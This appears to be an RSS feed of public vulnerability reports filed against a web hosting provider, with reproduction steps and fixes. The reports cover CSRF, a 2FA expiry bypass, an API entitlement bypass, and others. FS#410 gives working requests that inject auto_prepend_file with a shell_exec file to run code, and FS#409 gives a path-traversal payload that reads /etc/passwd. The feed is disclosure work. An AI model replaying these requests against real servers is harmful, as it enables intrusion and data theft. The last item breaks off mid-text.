<?xml version="1.0" ?>
<rss version="2.0">
  <channel>
    <title>alwaysdata </title>
    <lastBuildDate>Fri, 17 Jul 2026 12:13:40 +0000</lastBuildDate>
    <description>alwaysdata Security vulnerabilities: Recently opened tasks</description>
    <link>https://security.alwaysdata.com/</link>
        <item>
      <title>FS#414: Cross-Site Request Forgery (CSRF) Allows Displaying Another User&#039;s Domain Zone File</title>
      <author>Nex Xp</author>
      <pubDate>Thu, 16 Jul 2026 17:03:34 +0000</pubDate>
      <description><![CDATA[
<p>
Description
</p>

<p>
A Cross-Site Request Forgery (CSRF) vulnerability exists in the Display Zone File functionality.
</p>

<p>
The application does not properly validate whether the Display Zone File request is initiated by the authenticated user. By creating a malicious CSRF proof-of-concept (PoC) and replacing the domain_id with the victim&#039;s domain ID, an attacker can force the victim&#039;s authenticated browser to execute the Display Zone File request without the victim&#039;s knowledge or interaction.
</p>

<p>
This allows unauthorized actions to be performed on behalf of authenticated users.
</p>

<p>
 ## CVSS v3.1
</p>

<p>
Base Score: 4.5 (MEDIUM) 
</p>

<p>
 Steps to Reproduce
</p>

<p>
Log in with an attacker account.<br />Navigate to the Domain section.<br />Ensure at least one domain is present.<br />Go to Domain Settings → <acronym title="Domain Name Server">DNS</acronym> Records.<br />Open another browser/private window and log in as a victim.<br />Ensure at least one domain is present in the victim account.<br />Return to the attacker account.<br />Trigger the Display Zone File functionality.<br />Capture the Display Zone File request using Burp Suite.<br />Use Burp Suite Engagement Tools to generate a CSRF PoC.<br />Save the generated <acronym title="HyperText Markup Language">HTML</acronym> file.<br />Replace the attacker&#039;s domain_id with the victim&#039;s domain_id.<br />Open the modified PoC in the victim&#039;s authenticated browser.<br />Click Submit.<br />Observe that the victim&#039;s Display Zone File is opened successfully without the victim intentionally initiating the action.
</p>

<p>
  Expected Behavior
</p>

<p>
The application should validate that the Display Zone File request was intentionally initiated by the authenticated user and should reject cross-origin forged requests without proper CSRF validation.
</p>

<p>
 Actual Behavior
</p>

<p>
The application accepts the forged CSRF request and executes the Display Zone File action using the victim&#039;s active session without requiring any additional verification.
</p>

<p>
Impact
</p>

<p>
An attacker can force authenticated users to execute the Display Zone File action without their knowledge.
</p>

<p>
This may allow unauthorized exposure of domain <acronym title="Domain Name Server">DNS</acronym> zone information and sensitive configuration details through the victim&#039;s active session.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/414</link>
      <guid>https://security.alwaysdata.com/task/414</guid>
    </item>
        <item>
      <title>FS#412: Direct Organization Access Granted, Leading to Organization Takeover</title>
      <author>Nex Xp</author>
      <pubDate>Thu, 16 Jul 2026 07:37:53 +0000</pubDate>
      <description><![CDATA[
<p>
Description
</p>

<p>
During testing, I discovered that when an owner creates a new user and assigns permissions, the user is immediately added to the organization without any invitation acceptance or verification step.
</p>

<p>
As a result, if an owner accidentally enters an attacker&#039;s email address and assigns a privileged role, the attacker gains direct access to the organization and its resources immediately after logging in.
</p>

<p>
This allows the newly created user to perform all actions associated with the assigned role without requiring approval or invitation acceptance.
</p>

<p>
Steps to Reproduce
</p>

<p>
Log in to the Owner account.<br />Navigate to Permissions.<br />Click Add User.<br />Enter a user&#039;s email address.<br />Assign all available permissions.<br />Click Create User.<br />Log in to the newly created user account.<br />Observe that the user is automatically added to the owner&#039;s organization with all assigned permissions.
</p>

<p>
 Impact
</p>

<p>
If an owner mistakenly enters an attacker&#039;s email address while creating a user, the attacker immediately gains access to the organization with the assigned permissions.
</p>

<p>
When high-privilege permissions are assigned, the attacker may be able to access sensitive data, manage users, modify organization settings, and potentially delete or take full control of the organization.
</p>

<p>
  Expected Behavior
</p>

<p>
Newly created users should be required to verify ownership of the invited email address and explicitly accept the invitation before gaining access to the organization.
</p>

<p>
 Actual Behavior
</p>

<p>
The user is automatically added to the organization with the assigned permissions immediately after account creation, without any invitation acceptance step.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/412</link>
      <guid>https://security.alwaysdata.com/task/412</guid>
    </item>
        <item>
      <title>FS#411: Expired Two-Factor Authentication (2FA) Code Accepted, Allowing Authentication Bypass</title>
      <author>Nex Xp</author>
      <pubDate>Wed, 15 Jul 2026 12:08:22 +0000</pubDate>
      <description><![CDATA[
<p>
Description
</p>

<p>
During testing, I discovered that the application accepts an expired 2FA verification code.
</p>

<p>
After capturing the 2FA verification request, I waited until the code expired (after three code rotations). Even after expiration, replaying the same request was accepted by the server and resulted in successful authentication.
</p>

<p>
This indicates that the application does not properly validate the expiration time of 2FA verification codes.
</p>

<p>
Steps to Reproduce<br />Log in using a valid email address and password.<br />Enter the 2FA verification code.<br />Capture the 2FA verification request using Burp Suite.<br />Send the captured request to Burp Repeater.<br />Wait until the 2FA code has completed three rotations and is expired.<br />Send the request from Burp Repeater and observe a 302 Found response.<br />Forward the original intercepted request containing the same expired 2FA code.<br />Observe that the server again returns 302 Found and successfully authenticates the account.
</p>

<p>
Impact
</p>

<p>
An expired 2FA code can still be used to complete authentication, allowing an attacker who obtains an old 2FA code to bypass the intended expiration protection and gain unauthorized access to the account.
</p>

<p>
 Expected Behavior
</p>

<p>
The server should reject any 2FA verification attempt using an expired code and require the user to enter a new valid code.
</p>

<p>
 Actual Behavior
</p>

<p>
The server accepts a 2FA code even after it has expired and successfully authenticates the user.
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/411</link>
      <guid>https://security.alwaysdata.com/task/411</guid>
    </item>
        <item>
      <title>FS#410: Unrestricted PHP ini Directive Injection via php_ini field leads to Remote Code Execution (RCE)</title>
      <author>Deepak saini</author>
      <pubDate>Tue, 14 Jul 2026 20:31:37 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>TITLE:</strong> Unrestricted <acronym title="Hypertext Preprocessor">PHP</acronym> ini Directive Injection via `php_ini` field leads to
</p>
<pre class="code">     Remote Code Execution (RCE)</pre>

<p>
<strong>MODULE:</strong> Site Management (<acronym title="Application Programming Interface">API</acronym>)
</p>

<p>
<strong>SEVERITY:</strong> CRITICAL (CVSS 3.1: 9.8)
</p>

<p>
<strong>SUMMARY</strong>
</p>

<p>
The `php_ini` field in the Site Management <acronym title="Application Programming Interface">API</acronym> (PATCH /v1/site/{id}/) accepts<br />arbitrary <acronym title="Hypertext Preprocessor">PHP</acronym> ini directives with NO validation or sanitization. An attacker<br />with <acronym title="Application Programming Interface">API</acronym> access can inject directives such as `auto_prepend_file` to execute<br />arbitrary <acronym title="Hypertext Preprocessor">PHP</acronym> code on every <acronym title="Hypertext Preprocessor">PHP</acronym> page request.
</p>

<p>
Additionally:<br />- `open_basedir` is NOT set (no filesystem restriction)<br />- `shell_exec()`, `exec()`, `system()`, `passthru()` are NOT disabled<br />- The <acronym title="Hypertext Preprocessor">PHP</acronym> configuration applies immediately without a restart<br />- <acronym title="Hypertext Preprocessor">PHP</acronym>-FPM runs as the authenticated user (uid=534062, saini)
</p>

<p>
This allows an authenticated attacker to achieve FULL remote code execution<br />on the server, running system commands as the account user, reading/writing<br />any file the user has access to, and installing persistent backdoors.
</p>

<p>
 <strong>STEPS TO REPRODUCE</strong>
</p>

<p>
Prerequisites:<br />- A valid alwaysdata <acronym title="Application Programming Interface">API</acronym> token with account access<br />- An existing <acronym title="Hypertext Preprocessor">PHP</acronym> site (site_id known)<br />- <acronym title="Secure Shell">SSH</acronym>/<acronym title="File Transfer Protocol">FTP</acronym> access to write a <acronym title="Hypertext Preprocessor">PHP</acronym> file (or existing <acronym title="Hypertext Preprocessor">PHP</acronym> file in DocumentRoot)
</p>

<p>
Step 1: Verify the site accepts <acronym title="Hypertext Preprocessor">PHP</acronym> execution
</p>

<p>
Access any <acronym title="Hypertext Preprocessor">PHP</acronym> file in the DocumentRoot:
</p>
<pre class="code">GET /info.php HTTP/1.1
Host: victim.alwaysdata.net</pre>
<pre class="code">Response: 200 OK
MAIN_SCRIPT_EXECUTED</pre>

<p>
 <acronym title="Hypertext Preprocessor">PHP</acronym> execution is confirmed.
</p>

<p>
Step 2: Create a <acronym title="Hypertext Preprocessor">PHP</acronym> prepend file that executes a system command
</p>

<p>
Write a file (e.g., via <acronym title="Secure Shell">SSH</acronym> or <acronym title="File Transfer Protocol">FTP</acronym>) to the account&#039;s home directory: 
</p>
<pre class="code">File: /home/{account}/www/cmd_prepend.php
Content:
  &lt;?php echo &quot;CMD:&quot; . shell_exec(&quot;id 2&gt;&amp;1&quot;) . &quot;|&quot;;</pre>

<p>
 Step 3: Inject auto_prepend_file via the php_ini field
</p>

<p>
Request:
</p>
<pre class="code">PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic &lt;base64-encoded-credentials&gt;
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json</pre>
<pre class="code">{&quot;php_ini&quot;:&quot;auto_prepend_file = /home/saini/www/cmd_prepend.php&quot;}</pre>

<p>
 Response: 204 No Content
</p>

<p>
The directive is accepted verbatim with NO validation.
</p>

<p>
Step 4: Access any <acronym title="Hypertext Preprocessor">PHP</acronym> page to trigger code execution
</p>

<p>
Request:
</p>
<pre class="code">GET /info.php HTTP/1.1
Host: victim.alwaysdata.net
Accept: text/html</pre>

<p>
 Response: 200 OK
</p>
<pre class="code">CMD:uid=534062(saini) gid=489542(saini) groups=489542(saini)|MAIN_SCRIPT_EXECUTED</pre>

<p>
 The <acronym title="Hypertext Preprocessor">PHP</acronym> ini directive was applied and the system command `id` executed<br />successfully, returning the user and group IDs. This confirms arbitrary<br />code execution on the server.
</p>

<p>
Step 5: Restore original configuration
</p>

<p>
Request:
</p>
<pre class="code">PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic &lt;base64-encoded-credentials&gt;
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json</pre>
<pre class="code">{&quot;php_ini&quot;:&quot;&quot;}</pre>

<p>
 Response: 204 No Content
</p>

<p>
 <strong>ADDITIONAL TESTS AND FINDINGS</strong>
</p>

<p>
Test A: Verify no open_basedir restriction
</p>

<p>
A <acronym title="Hypertext Preprocessor">PHP</acronym> script was executed to check security restrictions: 
</p>
<pre class="code">Output:
  /tmp: WRITABLE | READABLE
  /: NOT_WRITABLE | READABLE
  CWD: /home/saini/www
  USER: saini
  TMP: /home/saini/admin/tmp
  OPEN_BASEDIR:                    â† EMPTY - NO RESTRICTION
  DOCROOT: /home/saini/www/</pre>

<p>
 No open_basedir is configured, allowing <acronym title="Hypertext Preprocessor">PHP</acronym> to access any path the user<br />has filesystem permissions for.
</p>

<p>
Test B: Verify dangerous functions are not disabled
</p>

<p>
All of the following functions were confirmed working:
</p>
<ol>
<li class="level1"><div class="li"> shell_exec()  â†’ executes system commands</div>
</li>
<li class="level1"><div class="li"> exec()        â†’ executes system commands</div>
</li>
<li class="level1"><div class="li"> system()      â†’ executes system commands</div>
</li>
<li class="level1"><div class="li"> passthru()    â†’ executes system commands</div>
</li>
<li class="level1"><div class="li"> file_get_contents() â†’ reads any file</div>
</li>
<li class="level1"><div class="li"> file_put_contents() â†’ writes to any writable path</div>
</li>
<li class="level1"><div class="li"> popen()       â†’ executes system commands</div>
</li>
<li class="level1"><div class="li"> proc_open()   â†’ executes system commands</div>
</li>
</ol>

<p>
 Test C: The php_ini directive takes effect immediately
</p>

<p>
No server restart or <acronym title="Hypertext Preprocessor">PHP</acronym>-FPM reload was required. The directive was applied<br />and reflected in the very next <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request.
</p>

<p>
Test D: auto_prepend works from any path accessible to <acronym title="Hypertext Preprocessor">PHP</acronym>
</p>
<hr />

<p>
 The auto_prepend_file directive was tested with files in multiple locations:
</p>
<ol>
<li class="level1"><div class="li"> /home/{account}/www/prepend.php â†’ WORKS</div>
</li>
<li class="level1"><div class="li"> Absolute paths are resolved correctly</div>
</li>
</ol>

<p>
<strong>IMPACT</strong>
</p>

<p>
An attacker with <acronym title="Application Programming Interface">API</acronym> access can achieve FULL REMOTE CODE EXECUTION on the<br />alwaysdata shared hosting server, with the following capabilities:
</p>

<p>
1. EXECUTE ARBITRARY SYSTEM COMMANDS
</p>
<ol>
<li class="level1"><div class="li"> Run any shell command as the account user</div>
</li>
<li class="level1"><div class="li"> Install backdoors, malware, cryptominers</div>
</li>
<li class="level1"><div class="li"> Launch attacks against internal network services</div>
</li>
</ol>

<p>
 2. READ/WRITE ANY FILE
</p>
<ol>
<li class="level1"><div class="li"> Read database configuration files, credentials</div>
</li>
<li class="level1"><div class="li"> Modify existing <acronym title="Hypertext Preprocessor">PHP</acronym> files to include persistent backdoors</div>
</li>
<li class="level1"><div class="li"> Access other users&#039; files if permissions allow</div>
</li>
<li class="level1"><div class="li"> Read application source code and secrets</div>
</li>
</ol>

<p>
 3. PERSISTENT ACCESS
</p>
<ol>
<li class="level1"><div class="li"> Create new <acronym title="Hypertext Preprocessor">PHP</acronym> files in the web directory</div>
</li>
<li class="level1"><div class="li"> Modify .htaccess or Apache configuration</div>
</li>
<li class="level1"><div class="li"> Set up cron jobs or other persistence mechanisms</div>
</li>
<li class="level1"><div class="li"> Exfiltrate data to external servers</div>
</li>
</ol>

<p>
 4. PIVOT TO INTERNAL SERVICES
</p>
<ol>
<li class="level1"><div class="li"> Access MySQL/MariaDB, PostgreSQL, Redis, or other local services</div>
</li>
<li class="level1"><div class="li"> Read local network configuration</div>
</li>
<li class="level1"><div class="li"> Potentially access cloud metadata endpoints (169.254.169.254)</div>
</li>
</ol>

<p>
 5. COMBINATION WITH PATH TRAVERSAL
</p>
<ol>
<li class="level1"><div class="li"> When combined with the path traversal vulnerability (ALW-SITE-002),</div>
</li>
</ol>

<p>
     the attacker can set DocumentRoot to / and execute <acronym title="Hypertext Preprocessor">PHP</acronym> code at the
</p>
<pre class="code">   same time, amplifying the attack surface significantly.</pre>

<p>
 <strong>CVSS 3.1 SCORE</strong>
</p>

<p>
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
</p>

<p>
Base Score: 9.8 (CRITICAL)
</p>

<p>
Attack Vector:    Network (AV:N)     - Exploitable remotely via <acronym title="Application Programming Interface">API</acronym> Attack Complexity: Low (AC:L)        - Simple PATCH request<br />Privileges:        Low (PR:L)        - Requires valid <acronym title="Application Programming Interface">API</acronym> token<br />User Interaction:  None (UI:N)       - No victim action needed<br />Scope:             Unchanged (S:U)   - Within account boundaries<br />Confidentiality:   High (C:H)        - Read any file, execute commands<br />Integrity:         High (I:H)        - Write/modify any file<br />Availability:      High (A:H)        - Can delete files, disrupt service
</p>

<p>
Note: Scope is &quot;Unchanged&quot; because the execution runs as the authenticated<br />user. If the attacker can read other users&#039; data (cross-tenant), Scope<br />would be &quot;Changed&quot; and score would increase to 10.0 (CRITICAL).
</p>

<p>
 <strong>REMEDIATION RECOMMENDATION </strong>
</p>

<p>
1. IMPLEMENT DIRECTIVE ALLOWLIST
</p>
<ol>
<li class="level1"><div class="li"> Only allow safe <acronym title="Hypertext Preprocessor">PHP</acronym> ini directives such as:</div>
<ol>
<li class="level2"><div class="li"> memory_limit, upload_max_filesize, post_max_size</div>
</li>
<li class="level2"><div class="li"> max_execution_time, max_input_time</div>
</li>
<li class="level2"><div class="li"> date.timezone, error_reporting</div>
</li>
</ol>
</li>
<li class="level1"><div class="li"> Block dangerous directives:</div>
<ol>
<li class="level2"><div class="li"> auto_prepend_file, auto_append_file</div>
</li>
<li class="level2"><div class="li"> disable_functions, disable_classes</div>
</li>
<li class="level2"><div class="li"> open_basedir, allow_url_include</div>
</li>
<li class="level2"><div class="li"> extension_dir, extension</div>
</li>
<li class="level2"><div class="li"> error_log (to prevent log injection)</div>
</li>
</ol>
</li>
</ol>

<p>
 2. ENFORCE OPEN_BASEDIR
</p>
<ol>
<li class="level1"><div class="li"> Always set open_basedir to restrict <acronym title="Hypertext Preprocessor">PHP</acronym> to the account&#039;s home</div>
</li>
</ol>

<p>
     directory, preventing access to system files and other users&#039; data.
</p>

<p>
3. DISABLE DANGEROUS FUNCTIONS AT THE <acronym title="Hypertext Preprocessor">PHP</acronym>-FPM POOL LEVEL
</p>
<ol>
<li class="level1"><div class="li"> Add disable_functions = shell_exec, exec, system, passthru, popen,</div>
</li>
</ol>

<p>
     proc_open, pcntl_exec to the account&#039;s <acronym title="Hypertext Preprocessor">PHP</acronym>-FPM pool configuration.
</p>
<ol>
<li class="level1"><div class="li"> This should NOT be overridable through the php_ini field.</div>
</li>
</ol>

<p>
 4. INPUT VALIDATION
</p>
<ol>
<li class="level1"><div class="li"> Validate that the php_ini field only contains approved directives.</div>
</li>
<li class="level1"><div class="li"> Reject any input containing &quot;=&quot; assignments for unapproved directives.</div>
</li>
<li class="level1"><div class="li"> Parse the input server-side and apply only allowed values.</div>
</li>
</ol>

<p>
 5. SERVER-LEVEL FIX (DEFENSE IN DEPTH)
</p>
<ol>
<li class="level1"><div class="li"> In the <acronym title="Hypertext Preprocessor">PHP</acronym>-FPM pool configuration, set:</div>
</li>
</ol>

<p>
     php_admin_value[auto_prepend_file] = none
</p>
<pre class="code">   php_admin_value[open_basedir] = /home/{account}/
 - php_admin_value directives CANNOT be overridden by user-level ini
   directives, providing a secure baseline.</pre>
]]></description>
      <link>https://security.alwaysdata.com/task/410</link>
      <guid>https://security.alwaysdata.com/task/410</guid>
    </item>
        <item>
      <title>FS#409: Path Traversal in site path field leads to arbitrary file read</title>
      <author>Deepak saini</author>
      <pubDate>Tue, 14 Jul 2026 19:55:56 +0000</pubDate>
      <description><![CDATA[
<p>
TITLE: Path Traversal in Site Management `path` field allows reading arbitrary
</p>
<pre class="code">     system files via DocumentRoot manipulation</pre>

<p>
 SEVERITY: HIGH (CVSS 3.1: 7.7)
</p>

<p>
 <strong>SUMMARY</strong>
</p>

<p>
The `path` field in the Site Management <acronym title="Application Programming Interface">API</acronym> (PATCH /v1/site/{id}/) accepts<br />arbitrary directory traversal sequences (e.g., `../../../../`) with NO<br />canonicalization or validation. This allows an authenticated attacker to set the<br />Apache DocumentRoot to any directory on the filesystem, enabling read access to<br />ANY world-readable file on the server via <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> GET requests.
</p>

<p>
Since the `path` change takes effect WITHOUT a server restart, the attacker can<br />immediately read files by accessing the site&#039;s <acronym title="Uniform Resource Locator">URL</acronym> after updating the path.
</p>

<p>
This also enables cross-tenant data access — any file on the server that is<br />world-readable (including files in shared /tmp, system configuration files, and<br />potentially other users&#039; data with loose permissions) can be retrieved.
</p>

<p>
<strong>STEPS TO REPRODUCE </strong>
</p>

<p>
Prerequisites:<br />- A valid alwaysdata <acronym title="Application Programming Interface">API</acronym> token with account access<br />- An existing site (site_id known)
</p>

<p>
Step 1: Get the current site configuration to confirm baseline
</p>

<p>
Request:
</p>
<pre class="code">GET /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic &lt;base64-encoded-credentials&gt;
Accept: application/json</pre>

<p>
 Response: 200 OK
</p>
<pre class="code">{
  &quot;id&quot;: 1060051,
  &quot;path&quot;: &quot;www/&quot;,
  &quot;addresses&quot;: [&quot;victim.alwaysdata.net/&quot;],
  ...
}</pre>

<p>
 Step 2: PATCH the site with a path traversal payload
</p>

<p>
Request:
</p>
<pre class="code">PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic &lt;base64-encoded-credentials&gt;
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json</pre>
<pre class="code">{&quot;path&quot;:&quot;../../../../&quot;}</pre>

<p>
 Response: 204 No Content
</p>

<p>
The `path` &quot;../../../../&quot; resolves from /home/{account}/www/ to the<br />filesystem root (/), setting DocumentRoot to /.
</p>

<p>
Step 3: Access a system file via the site <acronym title="Uniform Resource Locator">URL</acronym>
</p>

<p>
Request:
</p>
<pre class="code">GET /etc/passwd HTTP/1.1
Host: victim.alwaysdata.net
Accept: */*</pre>

<p>
 Response: 200 OK
</p>
<pre class="code">root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
... (full /etc/passwd contents returned)</pre>

<p>
 The file /etc/passwd was served as a static file through Apache with no<br />authentication or access control applied.
</p>

<p>
Step 4: Confirm the change is immediate (no restart required)
</p>

<p>
No server restart or reload was required. The path change is reflected in the<br />next <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request, confirming that the DocumentRoot is dynamically regenerated.
</p>

<p>
Step 5: Restore original path
</p>
<hr />

<p>
 Request:
</p>
<pre class="code">PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic &lt;base64-encoded-credentials&gt;
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json</pre>
<pre class="code">{&quot;path&quot;:&quot;www/&quot;}</pre>

<p>
 Response: 204 No Content
</p>

<p>
 <strong>EVIDENCE</strong>
</p>

<p>
Evidence 1: <acronym title="Application Programming Interface">API</acronym> acceptance of path traversal payload
</p>

<p>
PATCH request with path &quot;../../../../&quot; returned 204 No Content, confirming<br />the value was accepted without any canonicalization or rejection.
</p>

<p>
Evidence 2: Successful read of /etc/passwd via web
</p>

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> GET /etc/passwd returned 200 OK with the full contents of the system<br />password file (1764 bytes), including all 35 system users:<br />- root, daemon, bin, sys, sync, games, man, mail, news, uucp<br />- proxy, www-data, backup, list, irc, _apt, nobody<br />- systemd-network, messagebus, sshd, munin, and more
</p>

<p>
Evidence 3: No restart required
</p>

<p>
The path change was reflected immediately in the very next <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request,<br />with no restart or reload needed.
</p>

<p>
 <strong>IMPACT</strong>
</p>

<p>
An attacker with <acronym title="Application Programming Interface">API</acronym> access (valid account credentials) can:
</p>

<p>
1. Read ANY world-readable file on the server, including:
</p>
<ol>
<li class="level1"><div class="li"> System configuration files (/etc/passwd, /etc/shadow if readable)</div>
</li>
<li class="level1"><div class="li"> Application configuration files</div>
</li>
<li class="level1"><div class="li"> Database credentials in config files</div>
</li>
<li class="level1"><div class="li"> Other users&#039; files with loose permissions</div>
</li>
<li class="level1"><div class="li"> <acronym title="Secure Sockets Layer">SSL</acronym>/<acronym title="Transport Layer Security">TLS</acronym> certificates and private keys</div>
</li>
<li class="level1"><div class="li"> Source code deployed on the server</div>
</li>
</ol>

<p>
 2. Access files in /tmp/ that belong to other users on the same server
</p>
<pre class="code"> (cross-tenant data leakage).</pre>

<p>
 3. Map the internal server structure, enumerate users, and find sensitive
</p>
<pre class="code"> information for further attacks.</pre>

<p>
 4. The attack requires no user interaction and no unusual preconditions
</p>
<pre class="code"> beyond valid API credentials.</pre>

<p>
 This vulnerability can be combined with other site management weaknesses<br />(such as unrestricted php_ini directive injection) for code execution,<br />amplifying the impact to full server compromise
</p>

<p>
 CVSS 3.1 SCORE
</p>

<p>
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
</p>

<p>
Base Score: 7.7 (HIGH)
</p>

<p>
Attack Vector:    Network (AV:N)     - Exploitable remotely<br />Attack Complexity: Low (AC:L)        - Simple PATCH request<br />Privileges:        Low (PR:L)        - Requires valid <acronym title="Application Programming Interface">API</acronym> token<br />User Interaction:  None (UI:N)       - No victim action needed<br />Scope:             Changed (S:C)     - Reads files outside account boundary<br />Confidentiality:   High (C:H)        - System files accessible<br />Integrity:         None (I:N)        - Read-only<br />Availability:      None (A:N)        - No DoS impact
</p>

<p>
<strong>REMEDIATION RECOMMENDATION </strong>
</p>

<p>
1. Canonicalize the `path` input and verify it resolves to a path WITHIN the
</p>
<pre class="code"> account&#039;s allowed directory (e.g., /home/{account}/).</pre>

<p>
 2. Reject any path that contains directory traversal sequences (../ or ..\)
</p>
<pre class="code"> or resolves outside the allowed base directory.</pre>

<p>
 3. Apply allowlist validation: only allow known-safe subdirectory names
</p>
<pre class="code"> (e.g., &quot;www/&quot;, &quot;public/&quot;, &quot;htdocs/&quot;) rather than accepting arbitrary paths.</pre>

<p>
 4. Implement server-side path normalization using realpath() or equivalent
</p>
<pre class="code"> to resolve symlinks and traversal sequences before accepting the path.</pre>
]]></description>
      <link>https://security.alwaysdata.com/task/409</link>
      <guid>https://security.alwaysdata.com/task/409</guid>
    </item>
        <item>
      <title>FS#408: API bypasses Databases feature entitlement (create plan-restricted DBs)</title>
      <author>Vikas Maurya</author>
      <pubDate>Tue, 14 Jul 2026 09:42:09 +0000</pubDate>
      <description><![CDATA[
<h3 id="severity">Severity</h3>
<div class="level3">

<p>
<strong>Medium</strong> — CVSS 3.1 5.4 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N) — broken authorization / plan-restriction bypass.
</p>

</div>

<h3 id="summary">Summary</h3>
<div class="level3">

<p>
On an account where the <strong>Databases</strong> feature is <strong>not enabled</strong>, the administration interface correctly blocks database creation with <em>&quot;Feature unavailable — This feature is currently not available for this account.&quot;</em> However, the REST <acronym title="Application Programming Interface">API</acronym> (<code>POST /v1/database/</code>) does <strong>not</strong> perform the same entitlement check and returns <strong>201 Created</strong>. The resulting MySQL/MariaDB (and PostgreSQL) database is fully functional and reachable on <code>mysql-&lt;account&gt;.alwaysdata.net</code>. The plan restriction is enforced only in the UI, not server-side in the <acronym title="Application Programming Interface">API</acronym>.
</p>

</div>

<h3 id="steps_to_reproduce">Steps to reproduce</h3>
<div class="level3">

<p>
 <strong>Step 1 — The UI enforces the entitlement (feature is genuinely gated).</strong> Request:<br />
</p>
<pre class="code">
GET /database/add/ HTTP/2
Host: admin.alwaysdata.com
Cookie: sessionid=&lt;your admin session&gt;
</pre>

<p>
 Response:<br />
</p>
<pre class="code">
HTTP/2 200 OK
Content-Type: text/html

&lt;h1&gt;Feature unavailable&lt;/h1&gt;
&lt;p&gt;This feature is currently not available for this account.
   Please contact us if you want to activate it.&lt;/p&gt;
</pre>

<p>
<strong>Step 2 — The <acronym title="Application Programming Interface">API</acronym> bypasses the entitlement.</strong> Request:<br />
</p>
<pre class="code">
POST /v1/database/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic &lt;API-TOKEN account=YOUR-ACCOUNT&gt;
Content-Type: application/json

{&quot;name&quot;:&quot;YOUR-ACCOUNT_qz&quot;,&quot;type&quot;:&quot;MYSQL&quot;}
</pre>

<p>
 Response:<br />
</p>
<pre class="code">
HTTP/2 201 Created
Location: /v1/database/&lt;id&gt;/
Content-Length: 0
</pre>

<p>
<strong>Step 3 — The database exists and is fully functional.</strong> Request:<br />
</p>
<pre class="code">
GET /v1/database/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic &lt;API-TOKEN account=YOUR-ACCOUNT&gt;
</pre>

<p>
 Response:<br />
</p>
<pre class="code">
HTTP/2 200 OK
Content-Type: application/json

[{&quot;id&quot;:&lt;id&gt;,&quot;name&quot;:&quot;YOUR-ACCOUNT_qz&quot;,&quot;type&quot;:&quot;MYSQL&quot;,&quot;href&quot;:&quot;/v1/database/&lt;id&gt;/&quot;,&quot;permissions&quot;:{&quot;YOUR-ACCOUNT&quot;:&quot;FULL&quot;}}]
</pre>

<p>
 The database accepts real connections (a default DB user exists; its password is set via <code>PATCH /v1/database/user/&lt;id&gt;/</code>):<br />
</p>
<pre class="code">
$ mysql -h mysql-&lt;account&gt;.alwaysdata.net -u &lt;account&gt; -p***** -e &quot;SELECT CURRENT_USER(), VERSION(); SHOW DATABASES;&quot;
&lt;account&gt;@%    11.4.12-MariaDB
information_schema
&lt;account&gt;_qz
</pre>

<p>
<strong>Step 4 (optional) — Confirms the gate is real, not a transient UI state.</strong> <code>DELETE /v1/database/&lt;id&gt;/</code> returns <code>204</code>. Reloading <code>GET /database/add/</code> again returns the <em>&quot;Feature unavailable&quot;</em> page, so the account genuinely lacks the entitlement; only the <acronym title="Application Programming Interface">API</acronym> fails to enforce it.
</p>

<p>
Reproduced multiple times. The same bypass also works for <code>&quot;type&quot;:&quot;POSTGRESQL&quot;</code> (also plan-gated), so it is not engine-specific. My <acronym title="Application Programming Interface">API</acronym> token is omitted from this public report and can be provided privately if needed.
</p>

</div>

<h3 id="impact">Impact</h3>
<div class="level3">

<p>
A customer whose plan does not include the Databases feature can create and use functional MySQL/MariaDB and PostgreSQL databases through the <acronym title="Application Programming Interface">API</acronym>, obtaining a resource their plan does not permit. The entitlement check is missing on the server side (<acronym title="Application Programming Interface">API</acronym>) and enforced only in the UI, allowing the restriction to be bypassed programmatically.
</p>

</div>

<h3 id="remediation">Remediation</h3>
<div class="level3">

<p>
Enforce the account&#039;s feature entitlements server-side on the <acronym title="Application Programming Interface">API</acronym> resource-create endpoints (<code>POST /v1/database/</code> and any other plan-gated resource), returning the same <em>&quot;feature not available for this account&quot;</em> rejection that the UI applies.
</p>

</div>
]]></description>
      <link>https://security.alwaysdata.com/task/408</link>
      <guid>https://security.alwaysdata.com/task/408</guid>
    </item>
        <item>
      <title>FS#407: A Content Security Policy (CSP) bypass </title>
      <author>Ritik Raj</author>
      <pubDate>Tue, 14 Jul 2026 05:43:38 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>Summary</strong> A Content Security Policy (CSP) bypass vulnerability exists on the website <a href="https://www.alwaysdata.com/en/" class="urlextern" title="https://www.alwaysdata.com/en/"  rel="nofollow">https://www.alwaysdata.com/en/</a>, facilitated through the utilization of Google Script resources. This vulnerability could lead to security risks such as cross-site scripting (XSS) attacks or data exfiltration.
</p>

<p>
